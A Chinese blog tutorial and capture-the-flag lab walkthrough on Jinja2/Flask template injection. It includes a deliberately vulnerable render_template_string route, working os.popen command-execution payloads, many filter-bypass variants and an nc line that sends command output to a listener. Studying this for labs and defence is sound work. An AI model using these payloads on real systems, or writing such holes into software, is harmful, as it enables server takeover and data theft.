SSTI注入基础

发布于 2022-08-20  360 次阅读


sst

  • sst是服务器端模板,是一个包含响应文本的文件
  • SST将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面。
  • Flask是一款使用python编写的模板,是sst的一种

模板引擎(语言)

  • 模板引擎的实现方式有很多,最简单的是“置换型”模板引擎,这类模板引擎只是将指定模板内容(字符串)中的特定标记(子字符串)替换一下便生成了最终需要的业务数据(比如网页)。置换型模板引擎实现简单,但其效率低下,无法满足高负载的应用需求(比如有海量访问的网站),因此还出现了“解释型”模板引擎和“编译型”模板引擎等。
  • 个人理解,模板引擎就是把模板内容转换成网页的工具
  • Jinja2是基于python的模板引擎,是模板引擎(语言)的一种
  • 网页可以使用不同模板引擎,模板引擎可以装入不同sst,就像vocloid可以装入不同声源库,每个声源库可以装入不同midi

flask模板注入原理

  • Jinja2引擎存在以下三种语法:
    1. 控制结构 {% %}
    2. 变量取值 {{ }}
    3. 注释 {# #}
  • {{ }}内的内容,Jinja2渲染时不仅仅只进行填充和替换,还能够执行部分表达式。
  • lask在渲染时主要使用以下两种方法:

render_template

render_template_string

render_template用于渲染html文件而render_template_string用于渲染html语句,当这个html语句是受用户控制的时候,就会出问题了。

一个渲染模板代码示例:
from flask import Flask, request, render_template_string

app = Flask(__name__)//实例化flask对象,传入本文件名做参数

@app.route('/')
def hello_world():
return 'Hello World!'

@app.route('/function/<int:num>')
#route后的url中,参数值是以<type:name>的方式来传递的。
#我们可以通过url xxx/function/xxx 来传入num值,访问我们的test方法。
#也可以通过页面提供的接口传入值

def test(num):
print(num)
# ...

@app.route('/function2/')
def test2():
s = request.args.get('code')
html = '<h3>%s</h3>'%(s)
return render_template_string(html)//render_template_string用于渲染html语句
# ...

if __name__ == '__main__':
app.run()

flask注入知识

python知识

  • 实例调用class属性时会指向该实例对应的类,然后可以再去调用其它类属性

  • base属性查看对应的父类

  • name属性表示名字

  • globals包含了当前环境中所有可以全局访问的对象

  • subclasses()查看类的直接子类

  • init初始化类(相当于php析构函数)

  • os是Python 的一个标准库模块,popen在这个模块中

  • popen是一个函数,就是执行()中的命令

  • builtins是 Python 中的一个模块,eval在这个模块中

  • import用来调用模块

  • 内置属性与内置属性,内置属性与方法之间可用.来连接,也可用来连接,比如:

    {{lipsum[__globals__][__getitem__]("os")[popen]("cat flag")[read]()}}
    可以写作:
    {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}}
    都是一个意思

flask注入的父语句

  • flask注入方式很多,但是都是从以下3条父语句演变来哒(应该吧?)

  • 第一种:从一个任意字符进入它的父类object,再查看子类,就可以看到python所有内置类,搜索_wrap_close类,找到后初始化并搜索打开popen函数(这样做是通过函数做的)

    {%for i in ''.__class__.__base__.__subclasses__()%}
    {%if i.__name__=='_wrap_close'%}
    {%print i.__init__.__globals__['popen']('cat flag').read()%}
    {%endif%}
    {%endfor%}
  • 第二种:从任意一个字母进入str类,搜索找到builtins模块,调用其中的eval函数来载入os模块,再打开os模块里面的popen

    {{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}
  • 第三种(推荐):从lipsum(根本搜不到这是什么,不知道为啥也没法替换)进入它拥有的os模块,直接打开popen

    {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}}

被过滤了咋整

回显过滤

  • 网页不给我们显示回显,可以将回显发送到本机某个指定的端口,提前监听它就可以了

    监听80端口nc -lvnp 80

    发送结果至本机80端口:cat flag|nc 127.0.0.1 80

方括号过滤

  • 最好的办法就是用上面的父方法2或3

  • 也可以用getitem代替,.getitem('popen')相当于[popen]

    父方法的payload变成:

    {%for i in ''.__class__.__base__.__subclasses__()%}
    {%if i.__name__=='_wrap_close'%}
    {%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}
    {%endif%}
    {%endfor%}

引号过滤

  • 拿第三种父方法举例子吧

  • 最简单的方法是set大法(下面会提)

  • 也可以request绕过,让特殊字符代替需要引号的内容,再在burp中传入该特殊字符的值cookie:x1=_wrap_close(传参),把两个字符串绑定起来(这样传一遍会被自动加点点)

    {{lipsum.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}}
    Cookie:x1=os;x2=cat flag

点点过滤

  • 拿第三种父方法举例子吧

  • 最简单的方法是set大法(下面会提)

  • attr()连接

    {{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}

下划线过滤

  • 拿第三种父方法举例子吧

  • 最简单的方法是set大法(下面会提)

  • 这里用request+attr()处理

    {{lipsum|attr(request.cookies.x1)|attr(request.cookies.x2)('os')|attr('popen')('cat flag')|attr('read')()}}
    Cookie:x1=__globals__;x2=__getitem__

数字过滤

  • 三个父语句没有那个会受到影响
  • 最简单的方法是set大法(下面会提)
  • 一般使用set时可能会受到影响

字符串过滤

  • 拿第三种父方法举例子吧

    先把父语句:
    {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}}
    改写为:
    {{lipsum[__globals__][__getitem__]("os")[popen]("cat flag")[read]()}}
    然后用引号隔开
    {{lipsum['__glob''als__']['__geti''tem__']("os")['po''pen']("cat flag")['re''ad']()}}
  • 经过测试,只有被改写成下面那个部分的形式才能用引号(不知道为什么)

set大法

  • 适用于所有符号,所有数字被过滤的情况

  • 如果是符号被过滤

    用这个指令把所有符号打印出来:
    {{(lipsum|string|list)}}
    康康被过滤的符号是第几个
    比如下划线是第18个,这个语句就没有使用下划线就让我们得到了下划线
    {{(lipsum|string|list)|attr("pop")(18)}}
    把下划线的值set给一个没有被过滤的字符串就可以了(这里直接给下划线,相当于xaihuaxian="_")
    {% set xiahuaxian=(lipsum|string|list)|attr("pop")(18)%}
    为目标添加下划线:
    {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
    这样getitem就代替了__getitem__而且没有用到_
  • 如果是引号被过滤

    引号被过滤不用查看是第几个符号,可以使用这个语句获得"pop"却没有""符号
    {%dict(pop=a)|join%}
    把下划线的值set给一个没有被过滤的字符串就可以了(这里直接给pop,相当于pop="pop")
    {% set pop=dict(pop=a)|join%}
  • 如果是数字被过滤

    用以下语句获得9
    {% dict(aaaaaaaaa=a)|join|count %}
    把9的值set给一个没有被过滤的字符串就可以了(这里直接给nine,相当于nine=9)
    {% set nine=dict(aaaaaaaaa=a)|join|count %}
    有一个小技巧,比如获得18这个较大的数,不用输18个a,直接:
    {% set eighteen=nine+nine %}
  • level11就是set大法的综合运用

ssti靶场wp

level1

  • 页面提示无过滤,直接用for循环搜索os._wrap_close类,找到它是第多少个后,进入类用global函数找popen方法

    {%for i in ''.__class__.__base__.__subclasses__()%}
    {%if i.__name__=='_wrap_close'%}
    {%print i.__init__.__globals__['popen']('cat flag').read()%}
    {%endif%}
    {%endfor%}

    注意:以上语句,两个{%%}{%%}中间如果有空格,就会使输出结果带一堆空格(未找到原因)

level2

  • 页面过滤{{}},方法和level1一样

level3

  • 看提示,页面无回显,把查看命令改为'cat flag|nc 127.0.0.1 80'(这里设置成自己的ip)把flag输出到指定ip

    {%for i in ''.__class__.__base__.__subclasses__()%}
    {%if i.__name__=='_wrap_close'%}
    {%print i.__init__.__globals__['popen']('cat flag|nc 127.0.0.1 80').read()%}
    {%endif%}
    {%endfor%}
  • 事先再开一个终端,输入nc -lvnp 80意思是监听本机80端口,就可以得到之前的flag

level4

  • 查看提示,过滤了[],那么globals方法会受影响

  • []可以用getitem代替,.getitem('popen')相当于[popen]

    {%for i in ().__class__.__base__.__subclasses__()%}
    {%if i.__name__=='_wrap_close'%}
    {%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}
    {%endif%}
    {%endfor%}

level5

  • 查看提示,过滤了单引号和双引号,利用request绕过(cookie传参)(这样传一遍会被自动加点点)

  • 也可以用set大法

  • 让特殊字符代替需要引号的内容,比如:i.name=='_wrap_close'变成request.cookies.x1,再在burp中传入该特殊字符的值cookie:x1=_wrap_close(传参),把两个字符串绑定起来

    {%for i in ().__class__.__base__.__subclasses__()%}
    {%if i.__name__==request.cookies.x1%}
    {%print i.__init__.__globals__.__getitem__(request.cookies.x2)(request.cookies.x3).read()%}
    {%endif%}
    {%endfor%}
    Cookie:x1=_wrap_close;x2=popen;x3=cat flag

level6

  • 查看提示,过滤了_,可以用request传参,再用attr()函数连接(就不用点点了),|为分隔符

    {{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
    Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat flag').read()

level7

  • 查看提示,过滤了.,直接attr()连接

    {{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}

level8

  • 原payload(可以写成这样见知识部分)

    {{lipsum[__globals__][__getitem__]("os")[popen]("cat flag")[read]()}}
  • 查看提示,过滤了"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr",可以利用拼接的方式来构造.

    {{lipsum['__glo''bals__']['__geti''tem__']("os")['pop''en']("cat flag")['read']()}}

level9

  • 过滤了0~9,就和没过滤一样

    {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

level10

  • 过滤了config,和level1一样

    {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
  • 看了解析才知道这关是获取config,payload如下

    {{url_for.__globals__['current_app'].config}}

level11(SET大法)

  • 过滤了\,引号, +, request, 点点, 中括号

  • 确定payload

    父语句:
    {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}}
    去掉点点:
    {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
  • 下划线被set弄没了,用set解决

    引号被过滤用,用set解决

    空格被过滤,用set解决

    点点被过滤,用attr()解决

    中括号被过滤,用attr()解决

    \被过滤不管他

    +被过滤不管他

    request被过滤不管他

  • 先处理下划线

    看下划线在第几个

    {{(lipsum|string|list)}}

    是第18个

  • 本来这样获取下划线

{{(lipsum|string|list)|attr("pop")(18)}}

但是''被过滤了,就再构造一个''pop''

  • 构造''pop'',把所有pop替换为''pop''

    {% set pop=dict(pop=a)|join%}
  • 获取下划线

    {% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
  • 按上面的方法把每个需要下划线的地方添加下划线

    {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
    {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
  • 同理,添加空格

    {% set space=(lipsum|string|list)|attr(pop)(9)%}
  • 同理,给cat flag,os,popen,read加引号

    {% set os=dict(os=a)|join %}
    {% set popen=dict(popen=a)|join%}
    {% set linux=(dict(cat=a)|join,space,dict(flag=a)|join)|join%}
    {% set read=dict(read=a)|join%}
  • 最后调用命令

    {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(linux)|attr(read)()}}
汇总:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set linux=(dict(cat=a)|join,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(linux)|attr(read)()}}

level12

  • 把数字也过滤了,把level11的payload加入数字即可(使用了9和18两个数字)

    {% set nine=dict(aaaaaaaaa=a)|join|count %}
    {% set eighteen=nine+nine %}
    汇总:
    {% set nine=dict(aaaaaaaaa=a)|join|count %}
    {% set eighteen=nine+nine %}//靠,不能这么整,+被过滤了,老老实实打18个a吧
    {% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %}
    {% set pop=dict(pop=a)|join%}
    {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
    {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
    {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
    {% set space=(lipsum|string|list)|attr(pop)(nine)%}
    {% set os=dict(os=a)|join %}
    {% set popen=dict(popen=a)|join%}
    {% set linux=(dict(cat=a)|join,space,dict(flag=a)|join)|join%}
    {% set read=dict(read=a)|join%}
    {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(linux)|attr(read)()}}

level13

    • 和level12一样
届ける言葉を今は育ててる
最后更新于 2024-02-07